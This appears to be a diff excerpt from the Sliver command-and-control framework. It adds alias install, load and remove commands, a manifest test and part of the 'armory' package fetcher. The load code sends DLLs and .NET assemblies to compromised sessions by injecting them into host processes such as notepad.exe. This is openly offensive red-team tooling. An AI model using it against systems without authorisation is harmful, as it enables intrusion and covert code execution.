+	"help": "some help",
+	"entrypoint": "foo",
+	"allow_args": true,
+	"default_args": "bar",
+	"is_reflective": true,
+	"is_assembly": true,
+	"files": [
+		{
+			"os": "windows",
+			"arch": "amd64",
+			"path": "foo/test1.dll"
+		}
+	]
+}`
+)
+
+func TestParseAliasManifest(t *testing.T) {
+	alias1, err := ParseAliasManifest([]byte(sample1))
+	if err != nil {
+		t.Errorf("Error parsing alias manifest: %s", err)
+	}
+
+	if alias1.Name != "test1" {
+		t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
+	}
+
+	if alias1.CommandName != "test1" {
+		t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
+	}
+
+	if alias1.Version != "1.0.0" {
+		t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
+	}
+
+	if alias1.RepoURL != "https://example.com/" {
+		t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
+	}
+
+	if alias1.Help != "some help" {
+		t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
+	}
+
+	if alias1.Entrypoint != "foo" {
+		t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
+	}
+
+	if !alias1.AllowArgs {
+		t.Errorf("Expected allow_args to be true, got false")
+	}
+
+	if alias1.DefaultArgs != "bar" {
+		t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
+	}
+
+	if !alias1.IsReflective {
+		t.Errorf("Expected is_reflective to be true, got false")
+	}
+
+	if !alias1.IsAssembly {
+		t.Errorf("Expected is_assembly to be true, got false")
+	}
+}

client/command/alias/install.go

@@ -0,0 +1,174 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+)
+
+// AliasesInstallCmd - Install an alias
+func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	aliasLocalPath := ctx.Args.String("path")
+	fi, err := os.Stat(aliasLocalPath)
+	if os.IsNotExist(err) {
+		con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
+		return
+	}
+	if !fi.IsDir() {
+		InstallFromFile(aliasLocalPath, false, con)
+	} else {
+		installFromDir(aliasLocalPath, con)
+	}
+}
+
+// Install an extension from a directory
+func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
+	manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
+	if err != nil {
+		con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
+		return
+	}
+	manifest, err := ParseAliasManifest(manifestData)
+	if err != nil {
+		con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
+		return
+	}
+	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
+	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
+		con.PrintInfof("Alias '%s' already exists", manifest.Name)
+		confirm := false
+		prompt := &survey.Confirm{Message: "Overwrite current install?"}
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return
+		}
+		forceRemoveAll(installPath)
+	}
+
+	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
+	err = os.MkdirAll(installPath, 0o700)
+	if err != nil {
+		con.PrintErrorf("\nError creating alias directory: %s\n", err)
+		return
+	}
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	if err != nil {
+		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
+		forceRemoveAll(installPath)
+		return
+	}
+
+	for _, cmdFile := range manifest.Files {
+		if cmdFile.Path != "" {
+			src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
+			dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
+			err := util.CopyFile(src, dst)
+			if err != nil {
+				con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
+				forceRemoveAll(installPath)
+				return
+			}
+		}
+	}
+
+	con.Printf("done!\n")
+}
+
+// Install an extension from a .tar.gz file
+func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
+	manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
+	if err != nil {
+		con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
+		return nil
+	}
+	manifest, err := ParseAliasManifest(manifestData)
+	if err != nil {
+		con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
+		return nil
+	}
+	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
+	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
+		if !autoOverwrite {
+			con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
+			confirm := false
+			prompt := &survey.Confirm{Message: "Overwrite current install?"}
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return nil
+			}
+		}
+		forceRemoveAll(installPath)
+	}
+
+	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
+	err = os.MkdirAll(installPath, 0o700)
+	if err != nil {
+		con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
+		return nil
+	}
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	if err != nil {
+		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
+		forceRemoveAll(installPath)
+		return nil
+	}
+	for _, aliasFile := range manifest.Files {
+		if aliasFile.Path != "" {
+			err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
+			if err != nil {
+				con.PrintErrorf("\nFailed to install file: %s\n", err)
+				forceRemoveAll(installPath)
+				return nil
+			}
+		}
+	}
+	con.Printf("done!\n")
+	return &installPath
+}
+
+func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
+	data, err := util.ReadFileFromTarGz(aliasGzFilePath, artifactPath)
+	if err != nil {
+		return err
+	}
+	localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
+	artifactDir := filepath.Dir(localArtifactPath)
+	if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
+		os.MkdirAll(artifactDir, 0o700)
+	}
+	err = ioutil.WriteFile(localArtifactPath, data, 0o600)
+	if err != nil {
+		return err
+	}
+	return nil
+}
+
+func forceRemoveAll(rootPath string) {
+	util.ChmodR(rootPath, 0o600, 0o700)
+	os.RemoveAll(rootPath)
+}

client/command/alias/load.go

@@ -0,0 +1,364 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+)
+
+const (
+	defaultTimeout = 60
+
+	ManifestFileName = "alias.json"
+
+	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
+	linuxDefaultHostProc   = "/bin/bash"
+	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
+)
+
+var (
+	// alias name -> manifest/command
+	loadedAliases = map[string]*loadedAlias{}
+
+	defaultHostProc = map[string]string{
+		"windows": windowsDefaultHostProc,
+		"linux":   windowsDefaultHostProc,
+		"darwin":  macosDefaultHostProc,
+	}
+)
+
+// Ties the manifest struct to the command struct
+type loadedAlias struct {
+	Manifest *AliasManifest
+	Command  *grumble.Command
+}
+
+type AliasFile struct {
+	OS   string `json:"os"`
+	Arch string `json:"arch"`
+	Path string `json:"path"`
+}
+
+type AliasManifest struct {
+	Name           string `json:"name"`
+	Version        string `json:"version"`
+	CommandName    string `json:"command_name"`
+	OriginalAuthor string `json:"original_author"`
+	RepoURL        string `json:"repo_url"`
+	Help           string `json:"help"`
+	LongHelp       string `json:"long_help"`
+
+	Entrypoint   string       `json:"entrypoint"`
+	AllowArgs    bool         `json:"allow_args"`
+	DefaultArgs  string       `json:"default_args"`
+	Files        []*AliasFile `json:"files"`
+	IsReflective bool         `json:"is_reflective"`
+	IsAssembly   bool         `json:"is_assembly"`
+
+	RootPath string `json:"-"`
+}
+
+func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
+	proc, ok := defaultHostProc[targetOS]
+	if !ok {
+		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
+	}
+	return
+}
+
+func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
+	var filePath string
+	var err error
+	for _, ef := range a.Files {
+		if targetOS == ef.OS && targetArch == ef.Arch {
+			filePath = ef.Path
+			break
+		}
+	}
+	if filePath == "" {
+		err = fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
+	}
+	return filePath, err
+}
+
+// AliasesLoadCmd - Locally load a alias into the Sliver shell.
+func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	dirPath := ctx.Args.String("dir-path")
+	alias, err := LoadAlias(dirPath, con)
+	if err != nil {
+		con.PrintErrorf("Failed to load alias: %s\n", err)
+	} else {
+		con.PrintInfof("%s alias has been loaded\n", alias.Name)
+	}
+}
+
+// LoadAlias - Load an alias into the Sliver shell from a given directory
+func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
+	// retrieve alias manifest
+	var err error
+	dirPath, err = filepath.Abs(dirPath)
+	if err != nil {
+		return nil, err
+	}
+
+	// parse it
+	manifestPath := filepath.Join(dirPath, ManifestFileName)
+	data, err := ioutil.ReadFile(manifestPath)
+	if err != nil {
+		return nil, err
+	}
+	alias, err := ParseAliasManifest(data)
+	if err != nil {
+		return nil, err
+	}
+	alias.RootPath = filepath.Dir(manifestPath)
+	// for each alias command, add a new app command
+
+	// do not add if the command already exists
+	if cmdExists(alias.CommandName, con.App) {
+		return nil, fmt.Errorf("'%s' command already exists", alias.CommandName)
+	}
+
+	helpMsg := fmt.Sprintf("[%s] %s", alias.Name, alias.Help)
+	addAliasCmd := &grumble.Command{
+		Name:     alias.Name,
+		Help:     helpMsg,
+		LongHelp: help.FormatHelpTmpl(alias.LongHelp),
+		Run: func(extCtx *grumble.Context) error {
+			con.Println()
+			runAliasCommand(extCtx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			if alias.IsAssembly {
+				f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
+				f.String("c", "class", "", "Optional class name (required for .NET DLL)")
+				f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
+				f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+			}
+			f.String("p", "process", "", "Path to process to host the shared object")
+			f.Bool("s", "save", false, "Save output to disk")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("arguments", "arguments", grumble.Default([]string{}))
+		},
+		HelpGroup: consts.AliasHelpGroup,
+	}
+	con.App.AddCommand(addAliasCmd)
+
+	// Have to use a global map here, as passing the aliasCmd
+	// either by value or by ref fucks things up
+	loadedAliases[alias.Name] = &loadedAlias{
+		Manifest: alias,
+		Command:  addAliasCmd,
+	}
+
+	return alias, nil
+}
+
+func ParseAliasManifest(data []byte) (*AliasManifest, error) {
+	// parse it
+	alias := &AliasManifest{}
+	err := json.Unmarshal(data, alias)
+	if err != nil {
+		return nil, err
+	}
+	if alias.Name == "" {
+		return nil, fmt.Errorf("missing alias name in manifest")
+	}
+	if alias.CommandName == "" {
+		return nil, fmt.Errorf("missing command.name in alias manifest")
+	}
+	if alias.Help == "" {
+		return nil, fmt.Errorf("missing command.help in alias manifest")
+	}
+
+	for _, aliasFile := range alias.Files {
+		if aliasFile.OS == "" {
+			return nil, fmt.Errorf("missing command.files.os in alias manifest")
+		}
+		aliasFile.OS = strings.ToLower(aliasFile.OS)
+		if aliasFile.Arch == "" {
+			return nil, fmt.Errorf("missing command.files.arch in alias manifest")
+		}
+		aliasFile.Arch = strings.ToLower(aliasFile.Arch)
+		aliasFile.Path = util.ResolvePath(aliasFile.Path)
+		if aliasFile.Path == "" || aliasFile.Path == "/" {
+			return nil, fmt.Errorf("missing command.files.path in alias manifest")
+		}
+	}
+
+	return alias, nil
+}
+
+func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	loadedAlias, ok := loadedAliases[ctx.Command.Name]
+	if !ok {
+		con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
+		return
+	}
+	alias := loadedAlias.Manifest
+	binPath, err := alias.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	args := ctx.Args.StringList("arguments")
+	var extArgs string
+	if len(alias.DefaultArgs) != 0 && len(args) == 0 {
+		extArgs = alias.DefaultArgs
+	} else {
+		extArgs = strings.Join(args, " ")
+	}
+	entryPoint := alias.Entrypoint
+	processName := ctx.Flags.String("process")
+	if processName == "" {
+		processName, err = alias.getDefaultProcess(session.GetOS())
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	isDLL := false
+	if filepath.Ext(binPath) == ".dll" {
+		isDLL = true
+	}
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	var outFilePath *os.File
+	if ctx.Flags.Bool("save") {
+		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if alias.IsAssembly {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+			Request:   con.ActiveTarget.Request(ctx),
+			IsDLL:     isDLL,
+			Process:   processName,
+			Arguments: extArgs,
+			Assembly:  binData,
+			Arch:      ctx.Flags.String("arch"),
+			Method:    ctx.Flags.String("method"),
+			ClassName: ctx.Flags.String("class"),
+			AppDomain: ctx.Flags.String("app-domain"),
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
+		if outFilePath != nil {
+			outFilePath.Write(executeAssemblyResp.GetOutput())
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	} else if alias.IsReflective {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
+			Request:     con.ActiveTarget.Request(ctx),
+			Args:        strings.Trim(extArgs, " "),
+			Data:        binData,
+			ProcessName: processName,
+			EntryPoint:  alias.Entrypoint,
+			Kill:        true,
+		})
+		ctrl <- true
+		<-ctrl
+
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
+		if outFilePath != nil {
+			outFilePath.Write([]byte(spawnDllResp.GetResult()))
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	} else {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
+			Request:     con.ActiveTarget.Request(ctx),
+			Args:        extArgs,
+			Data:        binData,
+			EntryPoint:  entryPoint,
+			ProcessName: processName,
+			Kill:        true,
+			IsDLL:       isDLL,
+		})
+		ctrl <- true
+		<-ctrl
+
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
+		if outFilePath != nil {
+			outFilePath.Write([]byte(sideloadResp.GetResult()))
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	}
+}
+
+func cmdExists(name string, app *grumble.App) bool {
+	for _, c := range app.Commands().All() {
+		if name == c.Name {
+			return true
+		}
+	}
+	return false
+}

client/command/alias/remove.go

@@ -0,0 +1,75 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+	"fmt"
+	"os"
+	"path/filepath"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
+func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("Extension name is required\n")
+		return
+	}
+	confirm := false
+	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+	err := RemoveAliasByCommandName(name, con)
+	if err != nil {
+		con.PrintErrorf("Error removing alias: %s\n", err)
+		return
+	} else {
+		con.PrintInfof("Alias '%s' removed\n", name)
+	}
+}
+
+// RemoveAliasByCommandName - Remove an alias by command name
+func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
+	if commandName == "" {
+		return errors.New("command name is required")
+	}
+	if _, ok := loadedAliases[commandName]; !ok {
+		return errors.New("alias not loaded")
+	}
+	delete(loadedAliases, commandName)
+	con.App.Commands().Remove(commandName)
+	extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
+	if _, err := os.Stat(extPath); os.IsNotExist(err) {
+		return nil
+	}
+	err := os.RemoveAll(extPath)
+	if err != nil {
+		return err
+	}
+
+	return nil
+}

client/command/armory/armory.go

@@ -0,0 +1,453 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/base64"
+	"errors"
+	"fmt"
+	"net/url"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/alias"
+	"github.com/bishopfox/sliver/client/command/extensions"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/server/cryptography/minisign"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+type ArmoryIndex struct {
+	Aliases    []*ArmoryPackage `json:"aliases"`
+	Extensions []*ArmoryPackage `json:"extensions"`
+	Bundles    []*ArmoryBundle  `json:"bundles"`
+}
+
+type ArmoryPackage struct {
+	Name        string `json:"name"`
+	CommandName string `json:"command_name"`
+	RepoURL     string `json:"repo_url"`
+	PublicKey   string `json:"public_key"`
+
+	IsAlias bool `json:"-"`
+}
+
+type ArmoryBundle struct {
+	Name     string   `json:"name"`
+	Packages []string `json:"packages"`
+}
+
+type ArmoryHTTPConfig struct {
+	IgnoreCache          bool
+	ProxyURL             *url.URL
+	Timeout              time.Duration
+	DisableTLSValidation bool
+}
+
+type indexCacheEntry struct {
+	RepoURL string
+	Fetched time.Time
+	Index   ArmoryIndex
+	LastErr error
+}
+
+type pkgCacheEntry struct {
+	RepoURL   string
+	Fetched   time.Time
+	Pkg       ArmoryPackage
+	Sig       minisign.Signature
+	Alias     *alias.AliasManifest
+	Extension *extensions.ExtensionManifest
+	LastErr   error
+}
+
+var (
+	// public key -> armoryCacheEntry
+	indexCache = sync.Map{}
+	// public key -> armoryPkgCacheEntry
+	pkgCache = sync.Map{}
+
+	cacheTime      = time.Hour // This will kill a download if exceeded so needs to be large
+	defaultTimeout = 15 * time.Minute
+)
+
+// ArmoryCmd - The main armory command
+func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	armoriesConfig := assets.GetArmoriesConfig()
+	con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
+	clientConfig := parseArmoryHTTPConfig(ctx)
+	indexes := fetchIndexes(armoriesConfig, clientConfig)
+	if len(indexes) != len(armoriesConfig) {
+		con.Printf("errors!\n")
+		indexCache.Range(func(key, value interface{}) bool {
+			cacheEntry := value.(indexCacheEntry)
+			if cacheEntry.LastErr != nil {
+				con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
+			}
+			return true
+		})
+	} else {
+		con.Printf("done!\n")
+	}
+
+	if 0 < len(indexes) {
+		con.PrintInfof("Fetching package information ... ")
+		fetchPackageSignatures(indexes, clientConfig)
+		errorCount := 0
+		aliases := []*alias.AliasManifest{}
+		exts := []*extensions.ExtensionManifest{}
+		pkgCache.Range(func(key, value interface{}) bool {
+			cacheEntry := value.(pkgCacheEntry)
+			if cacheEntry.LastErr != nil {
+				errorCount++
+				if errorCount == 0 {
+					con.Printf("errors!\n")
+				}
+				con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
+			} else {
+				if cacheEntry.Pkg.IsAlias {
+					aliases = append(aliases, cacheEntry.Alias)
+				} else {
+					exts = append(exts, cacheEntry.Extension)
+				}
+			}
+			return true
+		})
+		if errorCount == 0 {
+			con.Printf("done!\n")
+		}
+		if 0 < len(aliases) || 0 < len(exts) {
+			con.Println()
+			PrintArmoryPackages(aliases, exts, con)
+		} else {
+			con.PrintInfof("No packages found\n")
+		}
+
+		con.Println()
+		bundles := bundlesInCache()
+		if 0 < len(bundles) {
+			PrintArmoryBundles(bundles, con)
+		} else {
+			con.PrintInfof("No bundles found\n")
+		}
+	} else {
+		con.PrintInfof("No indexes found\n")
+	}
+}
+
+func refresh(clientConfig ArmoryHTTPConfig) {
+	armoriesConfig := assets.GetArmoriesConfig()
+	indexes := fetchIndexes(armoriesConfig, clientConfig)
+	fetchPackageSignatures(indexes, clientConfig)
+}
+
+func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
+	aliases := []*alias.AliasManifest{}
+	exts := []*extensions.ExtensionManifest{}
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(pkgCacheEntry)
+		if cacheEntry.LastErr == nil {
+			if cacheEntry.Pkg.IsAlias {
+				aliases = append(aliases, cacheEntry.Alias)
+			} else {
+				exts = append(exts, cacheEntry.Extension)
+			}
+		}
+		return true
+	})
+	return aliases, exts
+}
+
+func bundlesInCache() []*ArmoryBundle {
+	bundles := []*ArmoryBundle{}
+	indexCache.Range(func(key, value interface{}) bool {
+		indexBundles := value.(indexCacheEntry).Index.Bundles
+		bundles = append(bundles, indexBundles...)
+		return true
+	})
+	return bundles
+}
+
+// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
+func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	results := []string{}
+	aliases, exts := packagesInCache()
+	bundles := bundlesInCache()
+	for _, alias := range aliases {
+		if strings.HasPrefix(alias.CommandName, prefix) {
+			results = append(results, alias.CommandName)
+		}
+	}
+	for _, extension := range exts {
+		if strings.HasPrefix(extension.CommandName, prefix) {
+			results = append(results, extension.CommandName)
+		}
+	}
+	for _, bundle := range bundles {
+		if strings.HasPrefix(bundle.Name, prefix) {
+			results = append(results, bundle.Name)
+		}
+	}
+	return results
+}
+
+// PrintArmoryPackages - Prints the armory packages
+func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
+	type pkgInfo struct {
+		CommandName string
+		Version     string
+		Type        string
+		Help        string
+		URL         string
+	}
+	entries := []pkgInfo{}
+	for _, alias := range aliases {
+		entries = append(entries, pkgInfo{
+			CommandName: alias.CommandName,
+			Version:     alias.Version,
+			Type:        "Alias",
+			Help:        alias.Help,
+			URL:         alias.RepoURL,
+		})
+	}
+	for _, extension := range exts {
+		entries = append(entries, pkgInfo{
+			CommandName: extension.CommandName,
+			Version:     extension.Version,
+			Type:        "Extension",
+			Help:        extension.Help,
+			URL:         extension.RepoURL,
+		})
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.SetTitle(console.Bold + "Packages" + console.Normal)
+	tw.AppendHeader(table.Row{
+		"Command Name",
+		"Version",
+		"Type",
+		"Help",
+		"URL",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Command Name", Mode: table.Asc},
+	})
+
+	for _, pkg := range entries {
+		color := console.Normal
+		if extensions.CmdExists(pkg.CommandName, con.App) {
+			color = console.Green
+		}
+		tw.AppendRow(table.Row{
+			fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
+			fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
+			fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
+			fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
+			fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
+		})
+	}
+
+	con.Printf("%s\n", tw.Render())
+}
+
+// PrintArmoryBundles - Prints the armory bundles
+func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.SetTitle(console.Bold + "Bundles" + console.Normal)
+	tw.AppendHeader(table.Row{
+		"Name",
+		"Contains",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Name", Mode: table.Asc},
+	})
+	for _, bundle := range bundles {
+		tw.AppendRow(table.Row{
+			bundle.Name,
+			strings.Join(bundle.Packages, ", "),
+		})
+	}
+	con.Printf("%s\n", tw.Render())
+}
+
+func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
+	var proxyURL *url.URL
+	rawProxyURL := ctx.Flags.String("proxy")
+	if rawProxyURL != "" {
+		proxyURL, _ = url.Parse(rawProxyURL)
+	}
+
+	timeout := defaultTimeout
+	rawTimeout := ctx.Flags.String("timeout")
+	if rawTimeout != "" {
+		var err error
+		timeout, err = time.ParseDuration(rawTimeout)
+		if err != nil {
+			timeout = defaultTimeout
+		}
+	}
+
+	return ArmoryHTTPConfig{
+		IgnoreCache:          ctx.Flags.Bool("ignore-cache"),
+		ProxyURL:             proxyURL,
+		Timeout:              timeout,
+		DisableTLSValidation: ctx.Flags.Bool("insecure"),
+	}
+}
+
+// fetch armory indexes, only returns indexes that were fetched successfully
+// errors are still in the cache objects however and can be checked
+func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
+	wg := &sync.WaitGroup{}
+	for _, armoryConfig := range armoryConfigs {
+		wg.Add(1)
+		go fetchIndex(armoryConfig, clientConfig, wg)
+	}
+	wg.Wait()
+	indexes := []ArmoryIndex{}
+	indexCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(indexCacheEntry)
+		if cacheEntry.LastErr == nil {
+			indexes = append(indexes, cacheEntry.Index)
+		}
+		return true
+	})
+	return indexes
+}
+
+func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
+	defer wg.Done()
